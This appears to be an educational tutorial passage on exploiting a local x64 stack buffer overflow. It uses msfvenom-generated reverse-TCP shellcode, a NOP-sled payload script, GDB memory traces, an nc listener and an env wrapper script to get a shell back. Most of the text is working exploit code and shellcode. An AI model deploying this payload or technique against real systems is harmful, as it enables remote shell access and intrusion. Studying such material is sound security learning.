linux/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell
For this demonstration, I will use “
$msfvenom -p linux/x64/shell_reverse_tcp --payload-options Options for payload/linux/x64/shell_reverse_tcp: Name: Linux Command Shell, Reverse TCP Inline Module: payload/linux/x64/shell_reverse_tcp Platform: Linux Arch: x64 Needs Admin: No Total size: 74 Rank: Normal Provided by: ricky Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address LPORT 4444 yes The listen port Description: Connect back to attacker and spawn a command shell
This will show a lot of options but our main concern is only with LHOST and LPORT. LHOST specifies what the address of the machine that is going to accept the connection and LPOT is the port number on that machine accepting connection.
We Execute the following command then,
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b ‘\x00’ -f python No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x64 from the payload Found 2 compatible encoders Attempting to encode payload with 1 iterations of generic/none generic/none failed with Encoding failed due to a bad character (index=5, char=0x02) Attempting to encode payload with 1 iterations of x64/xor x64/xor succeeded with size 119 (iteration=0) x64/xor chosen with final size 119 Payload size: 119 bytes Final size of python file: 586 bytes buf = "" buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05" buf += "\xef\xff\xff\xff\x48\xbb\x8a\xda\xbe\xd3\x9d\xcd\x6f" buf += "\x98\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4" buf += "\xe0\xf3\xe6\x4a\xf7\xcf\x30\xf2\x8b\x84\xb1\xd6\xd5" buf += "\x5a\x27\x21\x88\xda\xaf\x8f\xe2\xcd\x6f\x99\xdb\x92" buf += "\x37\x35\xf7\xdd\x35\xf2\xa0\x82\xb1\xd6\xf7\xce\x31" buf += "\xd0\x75\x14\xd4\xf2\xc5\xc2\x6a\xed\x7c\xb0\x85\x8b" buf += "\x04\x85\xd4\xb7\xe8\xb3\xd0\xfc\xee\xa5\x6f\xcb\xc2" buf += "\x53\x59\x81\xca\x85\xe6\x7e\x85\xdf\xbe\xd3\x9d\xcd" buf += "\x6f\x98"
Understanding the above command is really simple, -p option specifies which payload we will be using. LHOST
and LPORT
, we have already discussed. -b ‘\x00’
defines all the bad characters which can cause our program to crash. We know that when null characters is encountered in, the string terminates in C. Therefore, we have attempted to remove all the ‘\x00
’. And in the end “-f python
” represents the syntax of payload which we will be using. As we are familiar with python, we use -f python.
Now, we are ready with the Shellcode, it’s now time to place it in our payload. Let us first clear the structure in
Here is the script, I have used to construct the payload as described above but without the shellcode.
buf_length = 520 nop_length = 100 nop_slide = "\x90"*nop_length padding = "B"*(buf_length-nop_length) return_address = “AAAAAA" print (nop_slide+padding+return_address)
Character “\x90
” stands for a NOP
(No Operation). This instruction transfers the control to immediate next memory location. Filling up the memory address spaces makes it like a down-falling slide all the way to our shellcode. So, it doesn’t matter where I point, until I am pointing at any one of the NOP addresses, it’s going to transfer control to the Shellcode.
Our first task is to find memory addresses where our NOP-sled is being stored. We execute this script in GDB and at breakpoint 2 after the memory has been overwritten, we make a note of any memory address.
(gdb) run $(python payload.py) Starting program: /home/milind/bufferoverflow/buf.exe $(python payload.py) Breakpoint 1, 0x000055555555468e in main () (gdb) c Continuing. Breakpoint 2, 0x00005555555546c9 in main () (gdb) x/100x $rsp 0x7fffffffdcc0: 0xffffdfb8 0x00007fff 0x01958ac0 0x00000002 0x7fffffffdcd0: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffdce0: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffdcf0: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffdd00: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffdd10: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffdd20: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffdd30: 0x90909090 0x42424242 0x42424242 0x42424242 0x7fffffffdd40: 0x42424242 0x42424242 0x42424242 0x42424242 0x7fffffffdd50: 0x42424242 0x42424242 0x42424242 0x42424242 0x7fffffffdd60: 0x42424242 0x42424242 0x42424242 0x42424242 0x7fffffffdd70: 0x42424242 0x42424242 0x42424242 0x42424242 0x7fffffffdd80: 0x42424242 0x42424242 0x42424242 0x42424242 0x7fffffffdd90: 0x42424242 0x42424242 0x42424242 0x42424242 0x7fffffffdda0: 0x42424242 0x42424242 0x42424242 0x42424242 0x7fffffffddb0: 0x42424242 0x42424242 0x42424242 0x42424242 0x7fffffffddc0: 0x42424242 0x42424242 0x42424242 0x42424242 0x7fffffffddd0: 0x42424242 0x42424242 0x42424242 0x42424242 0x7fffffffdde0: 0x42424242 0x42424242 0x42424242 0x42424242 0x7fffffffddf0: 0x42424242 0x42424242 0x42424242 0x42424242 0x7fffffffde00: 0x42424242 0x42424242 0x42424242 0x42424242 0x7fffffffde10: 0x42424242 0x42424242 0x42424242 0x42424242 0x7fffffffde20: 0x42424242 0x42424242 0x42424242 0x42424242 0x7fffffffde30: 0x42424242 0x42424242 0x42424242 0x42424242 0x7fffffffde40: 0x42424242 0x42424242 0x42424242 0x42424242 (gdb)
As it is clearly visible, our NOP-Slide is starting at address “0x7fffffffdcd0
” all the way to “0x7fffffffdd34
”. So we can take any of the available addresses. Let’s consider “0x7fffffffdce0
” as our return address. This way we have now transferred our control to our program
buf_length = 520 nop_length = 100 nop_slide = "\x90"*nop_length padding = "B"*(buf_length-nop_length) return_address = “\xe0\xdc\xff\xff\xff\x7f" #Little Endian:0x7fffffffdce0 print (nop_slide+padding+return_address)
If you might have noticed, the address which we are pointing to, is different from what we have stored in return_address instruction. That is because my computer is based on Intel’s architecture and intel stores the memory addresses in the little endian format. Little Endian format just reverses the memory addresses, so if you look closely it’s actually the reverse of our targeted memory location. There is another format called Big Endian in which stores it directly without reversing it.
0x7fffffffdcd0: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffdce0: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffdcf0: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffdd00: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffdd10: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffdd20: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffdd30: 0x90909090 0x42424242 0x42424242 0x42424242 0x7fffffffdd40: 0x42424242 0x42424242 0x42424242 0x42424242 0x7fffffffdd50: 0x42424242 0x42424242 0x42424242 0x42424242 0x7fffffffdd60: 0x42424242 0x42424242 0x42424242 0x42424242
Now, when we hit “c”, we will reach ret
0x4242424242
ie, 0x7fffffffdd34
. If you get this correct, understand that you are on the right track.
(gdb) c Continuing. ?????????????????????????????????????????????????????????????????????????BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAA Breakpoint 3, 0x00005555555546d7 in main () (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x00007fffffffdd34 in ?? ()
Now, let us also add our payload in this script.
buf_length = 520 nop_length = 100 nop_slide = "\x90"*nop_length buf = "" buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05" buf += "\xef\xff\xff\xff\x48\xbb\xfa\x6e\x99\x49\xdc\x75\xa8" buf += "\x43\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4" buf += "\x90\x47\xc1\xd0\xb6\x77\xf7\x29\xfb\x30\x96\x4c\x94" buf += "\xe2\xe0\xfa\xf8\x6e\x88\x15\xa3\x75\xa8\x42\xab\x26" buf += "\x10\xaf\xb6\x65\xf2\x29\xd0\x36\x96\x4c\xb6\x76\xf6" buf += "\x0b\x05\xa0\xf3\x68\x84\x7a\xad\x36\x0c\x04\xa2\x11" buf += "\x45\x3d\x13\x6c\x98\x07\xf7\x66\xaf\x1d\xa8\x10\xb2" buf += "\xe7\x7e\x1b\x8b\x3d\x21\xa5\xf5\x6b\x99\x49\xdc\x75" buf += "\xa8\x43" padding = "A"*(buf_length-nop_length-len(buf)) return_address = “\xe0\xdc\xff\xff\xff\x7f" #Little Endian:0x7fffffffdce0 print (nop_slide+buf+padding+return_address)
I have just modified previous script to add our exploit. Now, when we try and execute this inside the GDB, we should get something like this.
(gdb) run $(python payload.py) Starting program: /home/milind/bufferoverflow/buf.exe $(python payload.py) Breakpoint 1, 0x000055555555468e in main () (gdb) c Continuing. Breakpoint 2, 0x00005555555546c9 in main () (gdb) c Continuing. H1HHHnIuCH1X'H-Gжw)0LnuB&e)6Lv hz6 E=lf~=!kIuCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 3, 0x00005555555546d7 in main () (gdb) c Continuing. process 11824 is executing new program: /bin/dash Error in re-setting breakpoint 1: Function "main" not defined. Error in re-setting breakpoint 2: No symbol table is loaded. Use the "file" command. Error in re-setting breakpoint 3: No symbol table is loaded. Use the "file" command. Error in re-setting breakpoint 2: No symbol "main" in current context. Error in re-setting breakpoint 3: No symbol "main" in current context. Error in re-setting breakpoint 2: No symbol "main" in current context. Error in re-setting breakpoint 3: No symbol "main" in current context. Error in re-setting breakpoint 2: No symbol "main" in current context. Error in re-setting breakpoint 3: No symbol "main" in current context. [Inferior 1 (process 11824) exited normally] (gdb)
Woah! we did not receive any segmentation fault, which means that now, our payload is working perfectly. But according to the description of the payload from
$ nc -lvp 4444 Listening on [0.0.0.0] (family 0, port 4444)
When this is done, run your payload inside GDB again and you should get something like this
(gdb) run $(python payload.py) Starting program: /home/milind/bufferoverflow/buf.exe $(python payload.py) H1HHHnIuCH1X'H-Gжw)0LnuB&e)6Lv hz6 E=lf~=!kIuCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA process 11987 is executing new program: /bin/dash Error in re-setting breakpoint 2: No symbol table is loaded. Use the "file" command. Error in re-setting breakpoint 3: No symbol table is loaded. Use the "file" command. Error in re-setting breakpoint 2: No symbol "main" in current context. Error in re-setting breakpoint 3: No symbol "main" in current context. Error in re-setting breakpoint 2: No symbol "main" in current context. Error in re-setting breakpoint 3: No symbol "main" in current context. Error in re-setting breakpoint 2: No symbol "main" in current context. Error in re-setting breakpoint 3: No symbol "main" in current context.
And if we look on the other terminal where we created our handler, we will notice something like this,
$ nc -lvp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from localhost 51580 received!
Type in any linux command and see this, the result is printed:
$ nc -lvp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from localhost 51580 received! ls buf.c buf.exe buff payload.py
Vola! Finally, we have a working exploit! Let’s now get out of debugging environment and let’s try to execute exploit again.
$ ./buf.exe $(python payload.py) H1HHHnIuCH1X'H-Gжw)0LnuB&e)6Lv hz6 E=lf~=!kIuCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Illegal instruction (core dumped)
And Whoops! Not working.
Now we are stuck! What should we do? Let’s google it! On referring the following link, I finally found a solution to our problem,
https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it
#!/bin/sh while getopts "dte:h?" opt ; do case "$opt" in h|\?) printf "usage: %s -e KEY=VALUE prog [args...]\n" $(basename $0) exit 0 ;; t) tty=1 gdb=1 ;; d) gdb=1 ;; e) env=$OPTARG ;; esac done shift $(expr $OPTIND - 1) prog=$(readlink -f $1) shift if [ -n "$gdb" ] ; then if [ -n "$tty" ]; then touch /tmp/gdb-debug-pty exec env - $env TERM=screen PWD=$PWD gdb -tty /tmp/gdb-debug-pty --args $prog "$@" else exec env - $env TERM=screen PWD=$PWD gdb --args $prog "$@" fi else exec env - $env TERM=screen PWD=$PWD $prog "$@" fi
Save this script as “envexec.sh” give it execution privilege to the user and then execute the script as follows.
$ ./envexec.sh -d buf.exe GNU gdb (Ubuntu 8.0.1-0ubuntu1) 8.0.1 Copyright (C) 2017 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from /home/milind/bufferoverflow/buf.exe...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) break main Breakpoint 1 at 0x68e (gdb) break * main+63 Breakpoint 2 at 0x6c9 (gdb) break * main+77 Breakpoint 3 at 0x6d7 (gdb) unset env LINES (gdb) unset env COLUMNS (gdb) show env
Execute all of the above commands and then go to breakpoint 2. You will see that the address space has been changed. When you execute the x/60x $rsp
Breakpoint 2, 0x00005555555546c9 in main () (gdb) x/60x $rsp 0x7fffffffe8f0: 0xffffebe8 0x00007fff 0x01958ac0 0x00000002 0x7fffffffe900: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffe910: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffe920: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffe930: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffe940: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffe950: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffe960: 0x90909090 0x48c93148 0xfff6e981 0x8d48ffff 0x7fffffffe970: 0xffffef05 0xfabb48ff 0xdc49996e 0x4843a875 0x7fffffffe980: 0x48275831 0xfffff82d 0x90f4e2ff 0xb6d0c147 0x7fffffffe990: 0xfb29f777 0x944c9630 0xf8fae0e2 0xa315886e 0x7fffffffe9a0: 0xab42a875 0xb6af1026 0xd029f265 0xb64c9636 0x7fffffffe9b0: 0x050bf676 0x8468f3a0 0x0c36ad7a 0x4511a204 0x7fffffffe9c0: 0x986c133d 0xaf66f707 0xb210a81d 0x8b1b7ee7 0x7fffffffe9d0: 0xf5a5213d 0xdc49996b 0x4143a875 0x41414141
This time, we will use this address and highlighted above. We have to change the address in our payload.
buf_length = 520 nop_length = 100 nop_slide = "\x90"*nop_length buf = "" buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05" buf += "\xef\xff\xff\xff\x48\xbb\xfa\x6e\x99\x49\xdc\x75\xa8" buf += "\x43\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4" buf += "\x90\x47\xc1\xd0\xb6\x77\xf7\x29\xfb\x30\x96\x4c\x94" buf += "\xe2\xe0\xfa\xf8\x6e\x88\x15\xa3\x75\xa8\x42\xab\x26" buf += "\x10\xaf\xb6\x65\xf2\x29\xd0\x36\x96\x4c\xb6\x76\xf6" buf += "\x0b\x05\xa0\xf3\x68\x84\x7a\xad\x36\x0c\x04\xa2\x11" buf += "\x45\x3d\x13\x6c\x98\x07\xf7\x66\xaf\x1d\xa8\x10\xb2" buf += "\xe7\x7e\x1b\x8b\x3d\x21\xa5\xf5\x6b\x99\x49\xdc\x75" buf += "\xa8\x43" padding = “A"*(buf_length-nop_length-len(buf)) return_address = “\x10\xe9\xff\xff\xff\x7f" #Changed address updated. print (nop_slide+buf+padding+return_address)
Now, we leave our debugging environment and execute the following code in the shell.
$ ./envexec.sh /home/milind/bufferoverflow/buf.exe $(python payload.py) H1HHHnIuCH1X'H-Gжw)0LnuB&e)6Lv hz6 E=lf~=!kIuCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Check out your another shell and you should see something like this,
$ nc -lvp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from localhost 41150 received!
Vola! It’s Working. Finally we have a working exploit and payload! But what just happened? Let us try to understand this in a little depth.
Exploit development can lead to serious headaches if we don’t adequately account for factors that introduce non-determinism into the debugging process. In particular, the stack addresses in the debugger may not match the addresses during normal execution. This art
When we use GDB, there are some environmental variables which GDB itself allocates, in our case there were 2 of them, “LINES” and “COLUMNS”. We used the following commands, to remove them.
(gdb) unset env LINES (gdb) unset env COLUMNS
You may have also noticed that we have used a wrapper program, envexec.sh
to debug and run our program. This is because, the wrapper program ensures that we have the same environmental variables while debugging and while running the script.
Alright, so we finally have a working program and an exploit. The wrapper program is typically used to find and debug bufferoverflow vulnerabilities. But this still doesn’t allow vulnerable program to be executed directly from the shell. When we try to execute the payload.py directly from the terminal, we still get the following error.
$ ./buf.exe $(python payload.py) H1HHHnIuCH1X'H-Gжw)0LnuB&e)6Lv hz6 E=lf~=!kIuCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Illegal instruction (core dumped)
This is pretty much the basics which we have covered in this demonstration. However, their are a lot many things which I have not covered. If you have been able to reach till here, start exploring more options or dive deep into this field. With this, I would like to present my gratitude to 2 of my very dear friends for reviewing my material and suggestions
Yash Sodha (Founder and Lead Developer hackademic.co.in, DSC-Lead, 2017-18, CHARUSAT)
Noel Macwan (Founder and Lead Developer GlazeOS/TeslaOS, DSC-Lead, 2017-18, Parul University)